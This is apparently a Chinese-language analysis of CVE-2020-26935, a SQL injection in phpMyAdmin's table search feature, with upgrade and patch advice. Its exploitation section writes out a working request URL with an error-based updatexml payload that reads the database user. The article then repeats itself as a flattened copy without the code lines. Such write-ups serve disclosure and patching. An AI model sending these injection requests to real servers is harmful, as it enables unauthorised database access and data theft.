CVE-2020-26935 phpmyadmin后台SQL注入
字数 790 2025-08-19 12:41:18

CVE-2020-26935 phpMyAdmin后台SQL注入漏洞分析

漏洞概述

CVE-2020-26935是phpMyAdmin中发现的一个SQL注入漏洞,影响版本为:

  • phpMyAdmin 4.9.6之前的所有版本
  • phpMyAdmin 5.x系列5.0.3之前的版本

该漏洞存在于phpMyAdmin的搜索功能中,攻击者可以利用此漏洞在后台执行恶意SQL语句。

漏洞分析

漏洞位置

漏洞位于SearchController中,具体在tbl_zoom_select.php文件中调用了TableSearchControllerindexAction方法。

漏洞触发条件

  1. 攻击者需要拥有phpMyAdmin的后台访问权限
  2. 目标系统运行的是受影响版本的phpMyAdmin

漏洞原理

tbl_zoom_select.php中,当满足以下条件时会触发漏洞:

if (isset($_REQUEST['get_data_row']) && $_REQUEST['get_data_row'] == true) {
    $this->getDataRowAction();
    return;
}

当请求中包含get_data_row参数且值为true时,会调用getDataRowAction方法。该方法中直接使用用户输入的原生数据拼接SQL语句,没有进行适当的过滤或参数化处理,导致SQL注入漏洞。

漏洞利用

利用方法

攻击者可以构造如下请求进行利用:

http://[target]/tbl_zoom_select.php?db=[database]&table=[table]&get_data_row=1&where_clause=[malicious_sql]

利用示例

获取当前用户信息:

http://127.0.0.1/tbl_zoom_select.php?db=pentest&table=a&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1)

这个payload利用了updatexml函数和concat函数来触发错误并显示当前用户信息。

修复建议

  1. 升级到phpMyAdmin 4.9.6或更高版本
  2. 升级到phpMyAdmin 5.0.3或更高版本
  3. 如果无法立即升级,可以手动应用官方补丁

参考链接

总结

虽然该漏洞需要攻击者已经拥有后台访问权限,但它仍然可能被用于权限提升或数据泄露。建议所有phpMyAdmin用户及时更新到安全版本,以防止潜在的安全风险。

CVE-2020-26935 phpMyAdmin后台SQL注入漏洞分析 漏洞概述 CVE-2020-26935是phpMyAdmin中发现的一个SQL注入漏洞,影响版本为: phpMyAdmin 4.9.6之前的所有版本 phpMyAdmin 5.x系列5.0.3之前的版本 该漏洞存在于phpMyAdmin的搜索功能中,攻击者可以利用此漏洞在后台执行恶意SQL语句。 漏洞分析 漏洞位置 漏洞位于 SearchController 中,具体在 tbl_zoom_select.php 文件中调用了 TableSearchController 的 indexAction 方法。 漏洞触发条件 攻击者需要拥有phpMyAdmin的后台访问权限 目标系统运行的是受影响版本的phpMyAdmin 漏洞原理 在 tbl_zoom_select.php 中,当满足以下条件时会触发漏洞: 当请求中包含 get_data_row 参数且值为 true 时,会调用 getDataRowAction 方法。该方法中直接使用用户输入的原生数据拼接SQL语句,没有进行适当的过滤或参数化处理,导致SQL注入漏洞。 漏洞利用 利用方法 攻击者可以构造如下请求进行利用: 利用示例 获取当前用户信息: 这个payload利用了 updatexml 函数和 concat 函数来触发错误并显示当前用户信息。 修复建议 升级到phpMyAdmin 4.9.6或更高版本 升级到phpMyAdmin 5.0.3或更高版本 如果无法立即升级,可以手动应用官方补丁 参考链接 CVE-2020-26935详情 phpMyAdmin官方更新日志 总结 虽然该漏洞需要攻击者已经拥有后台访问权限,但它仍然可能被用于权限提升或数据泄露。建议所有phpMyAdmin用户及时更新到安全版本,以防止潜在的安全风险。